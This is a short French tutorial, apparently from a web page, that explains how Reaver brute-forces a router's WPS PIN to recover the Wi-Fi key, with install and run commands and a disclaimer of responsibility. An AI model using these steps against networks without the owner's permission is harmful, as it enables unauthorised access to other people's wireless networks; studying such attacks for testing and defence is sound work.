Tout d'abord je tiens à preciser que je ne suis pas responsable de ce que vous ferez par la suite. J'écris cette page à but purement didactique.

Explication :

Reaver est un logiciel téléchargeable pour linux.
Contrairement à aircrack-ng, on ne cracke pas le système de chiffrement, mais une méthode d'authentification qui est le WPS (Wifi Protect Setup).
Il y a plusieurs types de WPS, reaver s'attaque au PIN, votre machine va tester toutes les combinaisons de PIN jusqu'à trouver la bonne combinaison.
Reaver envoie à chaque fois une combinaison et le routeur renvoie la clé du wifi si le pin correspond

Commençons :

sudo su

#Commencer par télécharger reaver.

apt-get install reaver

#Démarrage du crack

reaver -i interface -b mac_routeur

#Si vous ne savez pas comment déterminer le nom de l'interface ou l'adresse mac du routeur, je vous invite à voir ou revoir l'explication ici :
Pour l'interface
Pour l'adresse mac du routeur

Il ne vous reste plus qu'à attendre, sachez que ce type d'attaque prend du temps (plusieurs heures).